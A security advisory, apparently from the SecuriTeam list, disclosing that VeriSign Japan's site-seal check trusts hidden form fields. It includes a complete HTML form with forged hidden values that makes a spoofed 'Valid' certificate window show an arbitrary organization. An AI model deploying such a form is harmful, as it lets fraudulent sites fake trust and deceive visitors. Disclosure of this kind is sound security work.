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SUMMARY

Vagabond has reported a problem in the Japanese version of VeriSign provided
seals. The problem allows a malicious site owner to create an authenticity
seal (false one) for his site without it being actually issued by VeriSign.

DETAILS

VeriSign's Seal displays parameters when it transfers them from the form to
CGI script. At this point the company name and other information used in
authentication, which is hidden in the form but displayed when the
authentication process is complete, is transferred. Thus, the authentication
window used by VeriSign's seal can be spoofed by preparing a page set with
the hidden elements containing the information the attacker wants to spoof.

For your reference, the HTML source code for the form portion is appended at
the end of this message.

Which VeriSign's are vulnerable?
We cannot confirm the problem in VeriSign's other than VeriSign Japan. It
also should be noted that VeriSign.com (US version) seems to use a different
method of showing authenticity seals.

Exploit:
Appended below is the source code for the VeriSign form. Virtually all of
the hidden information can be rewritten. All of the content rewritten onto
VeriSign Japan's authentication window is clearly displayed.

<INPUT type=hidden name="VS_ORGANIZATION" value="USO-DAPYON">

For example, "USO-DAPYON" in value ="USO-DAPYON" in the above string can be
displayed by rewriting it to a different character string.

<FORM NAME=form1 METHOD=POST
ACTION="https://www.verisign.co.jp/cgi-bin/Seal.exe"><INPUT type=hidden
name="VHTML_FILE" value="../htmldocs/query/authCertDisplay.htm">
<INPUT type=hidden name="STATUS" value="0">
<INPUT type=hidden name="qmRowOffset" value="">
<INPUT type=hidden name="qmStartRecNumber" value="">
<INPUT type=hidden name="qmRecNumber" value="">
<INPUT type=hidden name="VS_ORGANIZATION" value="USO-DAPYON">
<INPUT type=hidden name="form_file" value="../fdf/authCertByIssuer.fdf">
<INPUT type=hidden name="PIPE" value="QUERY_MANAGER">
<INPUT type=hidden name="VS_VALID_END" value="99-MAR-99">
<INPUT type=hidden name="qmCompileAlways" value="yes">
<INPUT type=hidden name="unstructured_addr" value="">
<INPUT type=hidden name="CERT_MSG" value="">
<INPUT type=hidden name="VS_CERT_SERIAL" value="">
<INPUT type=hidden name="VS_CERT_FLAGS" value="0">
<INPUT type=hidden name="VS_STATUS" value="Valid">
<INPUT type=hidden name="url_encode" value="no">
<INPUT type=hidden name="issuerSerial2" value="">
<INPUT type=hidden name="SDATE" value="">
<INPUT type=hidden name="ip_address" value="172.16.185.00">
<INPUT type=hidden name="VS_SUBJECT_READABLE" value="Country = JP<BR>State =
Tokyo<BR>Locality = USO <BR>Organizational Unit = Terms of use at
www.verisign.co.jp/RPA (c)00<BR>Organizational Unit = Authenticated by
VeriSign Japan K.K.<BR>Organizational Unit = Member, VeriSign Trust
Network<BR>Organization = USO Inc.<BR>Organizational Unit = Web System
Div.<BR>Common Name = www.USO-DAPYON.co.jp">
<INPUT type=hidden name="qmStartRecNumber" value="1">
<INPUT type=hidden name="application" value="Mozilla/4.78 [ja] (Windows NT
5.0; U)">
<INPUT type=hidden name="qmRecNumber" value="2">
<INPUT type=hidden name="VS_PRODUCT_NAME" value="Digital ID Class 3 -
Affiliate Global Server AuthCenter">
<INPUT type=hidden name="remote_host"
value="https://www.verisign.co.jp/cgi-bin/siteseal.exe">
<INPUT type=hidden name="common_name" value="">
<INPUT type=hidden name="error_status" value="4000">
<INPUT type=hidden name="VS_VALID_START" value="99-MAR-99">
<INPUT type=hidden name="card_expire" value="">
<INPUT type=hidden name="Template" value="authCertByIssuer">
<INPUT type=hidden name="issuerSerial" value="">
<INPUT type=hidden name="ENDDATE" value="">
<INPUT type=hidden name="server_URL"
value="https://servicecenter.verisign.com">
<INPUT type=hidden name="VS_COMMON_NAME" value="WWW.USO-DAPYON.CO.JP">
<INPUT type=hidden name="END" value="YES">
<INPUT SRC="https://www.verisign.co.jp/images/siteseal/VeriSignSeal.gif"
TYPE="image" border=0></FORM>


ADDITIONAL INFORMATION

The information has been provided by  <http://www.vagabond.co.jp> Vagabond.

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Thanks
Noam Rathaus
CTO
Beyond Security Ltd.
http://www.BeyondSecurity.com
http://www.SecuriTeam.com